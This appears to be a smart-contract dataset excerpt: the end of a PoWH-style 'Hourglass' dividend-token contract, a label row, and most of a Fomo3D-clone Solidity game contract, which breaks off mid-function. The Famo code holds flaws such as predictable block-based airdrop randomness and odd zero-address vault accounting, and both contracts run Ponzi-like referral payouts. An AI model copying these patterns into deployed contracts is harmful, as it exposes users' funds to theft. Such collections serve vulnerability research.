(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "POTD";
string public symbol = "POTD";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 5e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 10 ether;
uint256 constant internal ambassadorQuota_ = 10 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = false;
function Hourglass()
public
{
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividendsraw = SafeMath.div(_ethereum, dividendFee_);
uint256 _dividends = SafeMath.mul(_dividendsraw, 3);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFeeraw = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _tokenFee = SafeMath.mul(_tokenFeeraw, 3);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividendsraw = SafeMath.div(_ethereum, dividendFee_ );
uint256 _dividends = SafeMath.mul(_dividendsraw, 3);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividendsraw = SafeMath.div(_ethereum, dividendFee_ );
uint256 _dividends = SafeMath.mul(_dividendsraw, 3);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividendsraw = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _dividends = SafeMath.mul(_dividendsraw, 3);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividendsraw = SafeMath.div(_ethereum, dividendFee_);
uint256 _dividends = SafeMath.mul(_dividendsraw, 3);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.mul(SafeMath.div(_incomingEthereum, dividendFee_), 3);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,936 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library FMDDCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
contract Famo{
using SafeMath for uint256;
using FMDDCalcLong for uint256;
uint256 iCommunityPot;
struct WinPerson {
address plyr;
uint256 iLastKeyNum;
uint256 index;
}
struct Round{
uint256 iKeyNum;
uint256 iVault;
uint256 iMask;
WinPerson[15] winerList;
uint256 iGameStartTime;
uint256 iGameEndTime;
uint256 iSharePot;
uint256 iSumPayable;
bool bIsGameEnded;
}
struct PlyRound{
uint256 iKeyNum;
uint256 iMask;
}
struct Player{
uint256 gen;
uint256 affGen;
uint256 iLastRoundId;
uint256 affCodeSelf;
uint256 affCode;
mapping (uint256=>PlyRound) roundMap;
}
struct SeedMember {
uint256 f;
uint256 iMask;
}
event evtBuyKey( uint256 iRoundId,address buyerAddress,uint256 iSpeedEth,uint256 iBuyNum );
event evtAirDrop( address addr,uint256 _airDropAmt );
event evtFirDrop( address addr,uint256 _airDropAmt );
event evtGameRoundStart( uint256 iRoundId, uint256 iStartTime,uint256 iEndTime,uint256 iSharePot );
string constant public name = "Chaojikuanggong game";
string constant public symbol = "CJKG";
uint256 constant public decimal = 1000000000000000000;
bool iActivated = false;
bool iPrepared = false;
bool iOver = false;
uint256 iTimeInterval;
uint256 iAddTime;
uint256 addTracker_;
uint256 public airDropTracker_ = 0;
uint256 public airDropPot_ = 0;
uint256 public airFropTracker_ = 0;
uint256 public airFropPot_ = 0;
uint256 plyid_ = 10000;
uint256 constant public seedMemberValue_ = 5000000000000000000;
uint256[9] affRate = [uint256(15),uint256(2),uint256(2),uint256(2),uint256(2),uint256(2),uint256(2),uint256(2),uint256(1)];
mapping (address => Player) plyMap;
mapping (uint256 => address) affMap;
mapping (address => uint256) seedBuy;
mapping (address => SeedMember) seedMap;
Round []roundList;
address creator;
address comor;
uint256 operatorGen;
uint256 comorGen;
uint256 specGen;
uint256 public winCount;
constructor( uint256 _iTimeInterval,uint256 _iAddTime,uint256 _addTracker, address com)
public{
assert( _iTimeInterval > 0 );
assert( _iAddTime > 0 );
iTimeInterval = _iTimeInterval;
iAddTime = _iAddTime;
addTracker_ = _addTracker;
iActivated = false;
creator = msg.sender;
comor = com;
}
function CheckActivate() public view returns ( bool ) {
return iActivated;
}
function CheckPrepare() public view returns ( bool ) {
return iPrepared;
}
function CheckOver() public view returns ( bool ) {
return iOver;
}
function Activate()
public
{
require(msg.sender == creator, "only creator can activate");
require(iActivated == false, "fomo3d already activated");
iActivated = true;
iPrepared = false;
uint256 iCurRdIdx = 0;
roundList[iCurRdIdx].iGameStartTime = now;
roundList[iCurRdIdx].iGameEndTime = now + iTimeInterval;
roundList[iCurRdIdx].bIsGameEnded = false;
}
function GetCurRoundInfo()constant public returns (
uint256 iCurRdId,
uint256 iRoundStartTime,
uint256 iRoundEndTime,
uint256 iKeyNum,
uint256 ,
uint256 iPot,
uint256 iSumPayable,
uint256 iGenSum,
uint256 iAirPotParam,
uint256 iShareSum
){
assert( roundList.length > 0 );
uint256 idx = roundList.length - 1;
return (
roundList.length,
roundList[idx].iGameStartTime,
roundList[idx].iGameEndTime,
roundList[idx].iKeyNum,
0,
roundList[idx].iSharePot,
roundList[idx].iSumPayable,
roundList[idx].iMask,
airDropTracker_ + (airDropPot_ * 1000),
(roundList[idx].iSumPayable*67)/100
);
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = roundList.length - 1;
uint256 _now = now;
_keys = _keys.mul(decimal);
if (_now > roundList[_rID].iGameStartTime && _now <= roundList[_rID].iGameEndTime)
return (roundList[_rID].iKeyNum.add(_keys)).ethRec(_keys);
else
return ( (_keys).eth() );
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
modifier IsActivate() {
require(iActivated == true, "its not ready yet. check ?eta in discord");
_;
}
modifier CheckAffcode(uint256 addcode) {
require(affMap[addcode] != 0x0, "need valid affcode");
_;
}
modifier OnlySeedMember(address addr) {
require(seedMap[addr].f != 0, "only seed member");
_;
}
modifier NotSeedMember(address addr) {
require(seedMap[addr].f == 0, "not for seed member");
_;
}
modifier NotOver() {
require(iOver == false, "is over");
_;
}
function IsSeedMember(address addr) view public returns(bool) {
if (seedMap[addr].f == 0)
return (false);
else
return (true);
}
function () isWithinLimits(msg.value) NotSeedMember(msg.sender) IsActivate() NotOver() public payable {
require(plyMap[msg.sender].affCode != 0, "need valid affcode");
uint256 iCurRdIdx = roundList.length - 1;
address _pID = msg.sender;
BuyCore( _pID,iCurRdIdx, msg.value );
}
function AddSeed(address[] seeds) public {
require(msg.sender == creator,"only creator");
for (uint256 i = 0; i < seeds.length; i++) {
if (i == 0)
seedMap[seeds[i]].f = 1;
else
seedMap[seeds[i]].f = 2;
}
}
function BuyTicket( uint256 affcode ) isWithinLimits(msg.value) CheckAffcode(affcode) NotSeedMember(msg.sender) IsActivate() NotOver() public payable {
uint256 iCurRdIdx = roundList.length - 1;
address _pID = msg.sender;
if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){
managePlayer( _pID, affcode);
}
BuyCore( _pID,iCurRdIdx,msg.value );
}
function BuyTicketUseVault(uint256 affcode,uint256 useVault ) isWithinLimits(useVault) CheckAffcode(affcode) NotSeedMember(msg.sender) IsActivate() NotOver() public{
uint256 iCurRdIdx = roundList.length - 1;
address _pID = msg.sender;
if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){
managePlayer( _pID, affcode);
}
updateGenVault(_pID, plyMap[_pID].iLastRoundId);
uint256 val = plyMap[_pID].gen.add(plyMap[_pID].affGen);
assert( val >= useVault );
if( plyMap[_pID].gen >= useVault ){
plyMap[_pID].gen = plyMap[_pID].gen.sub(useVault);
}else{
plyMap[_pID].gen = 0;
plyMap[_pID].affGen = val.sub(useVault);
}
BuyCore( _pID,iCurRdIdx,useVault );
return;
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function getWinRate(address _pID)
view
public
returns(uint256 onwKeyCount, uint256 totalKeyCount)
{
uint256 iCurRdIdx = roundList.length - 1;
uint256 totalKey;
uint256 keys;
for (uint256 i = 0; i < 15; i++) {
if (roundList[iCurRdIdx].winerList[i].plyr == _pID) {
keys = roundList[iCurRdIdx].winerList[i].iLastKeyNum;
}
totalKey += roundList[iCurRdIdx].winerList[i].iLastKeyNum;
}
return (keys, totalKey);
}
function calcUnMaskedEarnings(address _pID, uint256 _rIDlast)
view
public
returns(uint256)
{
return(((roundList[_rIDlast-1].iMask).mul((plyMap[_pID].roundMap[_rIDlast].iKeyNum)) / (decimal)).sub(plyMap[_pID].roundMap[_rIDlast].iMask) );
}
function DoAirDrop( address _pID, uint256 _eth ) private {
airDropTracker_ = airDropTracker_.add(addTracker_);
airFropTracker_ = airDropTracker_;
airFropPot_ = airDropPot_;
address _pZero = address(0x0);
plyMap[_pZero].gen = plyMap[_pID].gen;
uint256 _prize;
if (airdrop() == true)
{
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyMap[_pID].gen = (plyMap[_pID].gen).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyMap[_pID].gen = (plyMap[_pID].gen).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyMap[_pID].gen = (plyMap[_pID].gen).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
}
emit evtAirDrop( _pID,_prize );
airDropTracker_ = 0;
}else{
if (_eth >= 10000000000000000000)
{
_prize = ((airFropPot_).mul(75)) / 100;
plyMap[_pZero].gen = (plyMap[_pZero].gen).add(_prize);
airFropPot_ = (airFropPot_).sub(_prize);
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airFropPot_).mul(50)) / 100;
plyMap[_pZero].gen = (plyMap[_pZero].gen).add(_prize);
airFropPot_ = (airFropPot_).sub(_prize);
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airFropPot_).mul(25)) / 100;
plyMap[_pZero].gen = (plyMap[_pZero].gen).add(_prize);
airFropPot_ = (airFropPot_).sub(_prize);
}
emit evtFirDrop( _pID,_prize );
airFropTracker_ = 0;
}
}
function managePlayer( address _pID, uint256 affcode )
private
{
if (plyMap[_pID].iLastRoundId != roundList.length && plyMap[_pID].iLastRoundId != 0){
updateGenVault(_pID, plyMap[_pID].iLastRoundId);
}
plyMap[_pID].iLastRoundId = roundList.length;
plyMap[_pID].affCode = affcode;
plyMap[_pID].affCodeSelf = plyid_;
affMap[plyid_] = _pID;
plyid_ = plyid_.add(1);
return;
}
function WithDraw() public {
if (IsSeedMember(msg.sender)) {
require(SeedMemberCanDraw() == true, "seed value not enough");
}
uint256 _rID = roundList.length - 1;
uint256 _now = now;
address _pID = msg.sender;
uint256 _eth;
if (IsSeedMember(msg.sender)) {
require(plyMap[_pID].roundMap[_rID+1].iKeyNum >= seedMemberValue_, "seedMemberValue not enough");
_eth = withdrawEarnings(_pID);
if (seedMap[_pID].f == 1) {
_eth = _eth.add(specGen);
specGen = 0;
}
uint256 op = operatorGen / 15 - seedMap[_pID].iMask;
seedMap[_pID].iMask = operatorGen / 15;
if (op > 0)
_eth = _eth.add(op);
if (_eth > 0)
_pID.transfer(_eth);
return;
}
if (_now > roundList[_rID].iGameEndTime && roundList[_rID].bIsGameEnded == false)
{
roundList[_rID].bIsGameEnded = true;
RoundEnd();
_eth = withdrawEarnings(_pID);
if (_eth > 0)
_pID.transfer(_eth);
} else {
_eth = withdrawEarnings(_pID);
if ( _eth > 0 )
_pID.transfer(_eth);
}
}
function getAdminInfo() view public returns ( bool, uint256,address ){
return ( iActivated, iCommunityPot,creator);
}
function setAdmin( address newAdminAddress ) public {
assert( msg.sender == creator );
creator = newAdminAddress;
}
function RoundEnd() private{
uint256 _pot = roundList[0].iSharePot;
iOver = true;
if( _pot != 0 ){
uint256 totalKey = 0;
uint256 rate;
for (uint256 i = 0; i < 15; i++) {
if (roundList[0].winerList[i].iLastKeyNum > 0) {
totalKey = totalKey.add(roundList[0].winerList[i].iLastKeyNum);
}
}
for (i = 0; i < 15; i++) {
if (roundList[0].winerList[i].iLastKeyNum > 0) {
rate = roundList[0].winerList[i].iLastKeyNum * 1000000 / totalKey;
plyMap[roundList[0].winerList[i].plyr].gen = plyMap[roundList[0].winerList[i].plyr].gen.add(_pot.mul(rate) / 1000000);
}
}
}
iPrepared = false;
}
function withdrawEarnings( address plyAddress ) private returns( uint256 ){
if( plyMap[plyAddress].iLastRoundId > 0 ){
updateGenVault(plyAddress, plyMap[plyAddress].iLastRoundId );
}
uint256 _earnings = plyMap[plyAddress].gen.add(plyMap[plyAddress].affGen);
if (_earnings > 0)
{
plyMap[plyAddress].gen = 0;
plyMap[plyAddress].affGen = 0;
}
return(_earnings);
}
function updateGenVault(address _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyMap[_pID].gen = _earnings.add(plyMap[_pID].gen);
plyMap[_pID].roundMap[_rIDlast].iMask = _earnings.add(plyMap[_pID].roundMap[_rIDlast].iMask);
}
}
function getPlayerInfoByAddress(address myAddr)
public
view
returns( uint256 myKeyNum, uint256 myValut,uint256 affGen,uint256 lockGen,uint256 affCodeSelf, uint256 affCode )
{
address _addr = myAddr;
uint256 _rID = roundList.length;
if( plyMap[_addr].iLastRoundId == 0 || _rID <= 0 ){
return
(
0,
0,
plyMap[_addr].affGen,
0,
0,
0
);
}
if (IsSeedMember(msg.sender)) {
uint256 oth;
if (seedMap[_addr].f == 1) {
oth = oth.add(specGen);
}
oth = oth.add((operatorGen / 15).sub(seedMap[_addr].iMask));
return
(
plyMap[_addr].roundMap[_rID].iKeyNum,
(plyMap[_addr].gen).add(calcUnMaskedEarnings(_addr, plyMap[_addr].iLastRoundId)).add(oth),
plyMap[_addr].affGen,
0,
plyMap[_addr].affCodeSelf,
plyMap[_addr].affCode
);
}
else
{
return
(
plyMap[_addr].roundMap[_rID].iKeyNum,
(plyMap[_addr].gen).add(calcUnMaskedEarnings(_addr, plyMap[_addr].iLastRoundId)),
plyMap[_addr].affGen,
0,
plyMap[_addr].affCodeSelf,
plyMap[_addr].affCode
);
}
}
function getRoundInfo(uint256 iRoundId)public view returns(uint256 iRoundStartTime,uint256 iRoundEndTime,uint256 iPot ){
assert( iRoundId > 0 && iRoundId <= roundList.length );
return( roundList[iRoundId-1].iGameStartTime,roundList[iRoundId-1].iGameEndTime,roundList[iRoundId-1].iSharePot );
}
function getPlayerAff(address myAddr) public view returns( uint256 ) {
return plyMap[myAddr].affCodeSelf;
}
function getPlayerAddr(uint256 affcode) public view returns( address ) {
return affMap[affcode];
}
function BuySeed() public isWithinLimits(msg.value) OnlySeedMember(msg.sender) NotOver() payable {
require(iPrepared == true && iActivated == false, "fomo3d now not prepare");
uint256 iCurRdIdx = roundList.length - 1;
address _pID = msg.sender;
uint256 _eth = msg.value;
if ( plyMap[_pID].roundMap[iCurRdIdx + 1].iKeyNum == 0 ){
managePlayer(_pID, 0);
}
uint256 curEth = 0;
uint256 iAddKey = curEth.keysRec( _eth );
plyMap[_pID].roundMap[iCurRdIdx + 1].iKeyNum = plyMap[_pID].roundMap[iCurRdIdx + 1].iKeyNum.add(iAddKey);
roundList[iCurRdIdx].iKeyNum = roundList[iCurRdIdx].iKeyNum.add(iAddKey);
roundList[iCurRdIdx].iSumPayable = roundList[iCurRdIdx].iSumPayable.add(_eth);
roundList[iCurRdIdx].iSharePot = roundList[iCurRdIdx].iSharePot.add(_eth.mul(55) / (100));
operatorGen = operatorGen.add(_eth.mul(5) / (100));
comorGen = comorGen.add(_eth.mul(4) / (10));
seedBuy[_pID] = seedBuy[_pID].add(_eth);
}
function Prepare() public {
require(msg.sender == creator, "only creator can do this");
require(iPrepared == false, "already prepare");
iPrepared = true;
roundList.length ++;
}
function BuyCore( address _pID, uint256 iCurRdIdx,uint256 _eth ) private {
uint256 _now = now;
if (_now > roundList[iCurRdIdx].iGameStartTime && _now <= roundList[iCurRdIdx].iGameEndTime)
{
if (_eth >= 100000000000000000)
{
DoAirDrop(_pID, _eth);
}
uint256 iAddKey = roundList[iCurRdIdx].iSumPayable.keysRec( _eth );
plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum += iAddKey;
roundList[iCurRdIdx].iKeyNum += iAddKey;
roundList[iCurRdIdx].iSumPayable = roundList[iCurRdIdx].iSumPayable.add(_eth);
if (IsSeedMember(_pID)) {
comorGen = comorGen.add((_eth.mul(3)) / (10));
seedBuy[_pID] = seedBuy[_pID].add(_eth);
}
else {
uint256[9] memory affGenArr;
address[9] memory affAddrArr;
for (uint256 i = 0; i < 9; i++) {
affGenArr[i] = _eth.mul(affRate[i]) / 100;
if (i == 0) {
affAddrArr[i] = affMap[plyMap[_pID].affCode];
}
else {
affAddrArr[i] = affMap[plyMap[affAddrArr[i - 1]].affCode];
}
if (affAddrArr[i] != 0x0) {
plyMap[affAddrArr[i]].affGen = plyMap[affAddrArr[i]].affGen.add(affGenArr[i]);
}
else {
comorGen = comorGen.add(affGenArr[i]);
}
}
}
airDropPot_ = airDropPot_.add((_eth)/(100));
uint256 iAddProfit = (_eth.mul(35)) / (100);
uint256 _ppt = (iAddProfit.mul(decimal)) / (roundList[iCurRdIdx].iKeyNum);
uint256 iOldMask = roundList[iCurRdIdx].iMask;
roundList[iCurRdIdx].iMask = _ppt.add(roundList[iCurRdIdx].iMask);
plyMap[_pID].roundMap[iCurRdIdx+1].iMask = (((iOldMask.mul(iAddKey)) / (decimal))).add(plyMap[_pID].roundMap[iCurRdIdx+1].iMask);
roundList[iCurRdIdx].iSharePot = roundList[iCurRdIdx].iSharePot.add((_eth) / (5));
operatorGen = operatorGen.add((_eth) / (20));
comorGen = comorGen.add((_eth.mul(8)) / (100));
specGen = specGen.add((_eth)/(100));
roundList[iCurRdIdx].iGameEndTime = roundList[iCurRdIdx].iGameEndTime + iAddKey / 1000000000000000000 * iAddTime;
if (roundList[iCurRdIdx].iGameEndTime - _now > iTimeInterval) {
roundList[iCurRdIdx].iGameEndTime = _now + iTimeInterval;
}
MakeWinner(_pID, iAddKey, iCurRdIdx);
emit evtBuyKey( iCurRdIdx+1,_pID,_eth, iAddKey );
} else {
if (_now > roundList[iCurRdIdx].iGameEndTime && roundList[iCurRdIdx].bIsGameEnded == false)
{
roundList[iCurRdIdx].bIsGameEnded = true;
RoundEnd();
}
plyMap[msg.sender].gen = plyMap[msg.sender].gen.add(_eth);
}
return;
}
function MakeWinner(address _pID, uint256 _keyNum, uint256 iCurRdIdx) private {
uint256 sin = 99;
for (uint256 i = 0; i < 15; i++) {
if (roundList[iCurRdIdx].winerList[i].plyr == _pID) {
sin = i;
break;
}
}
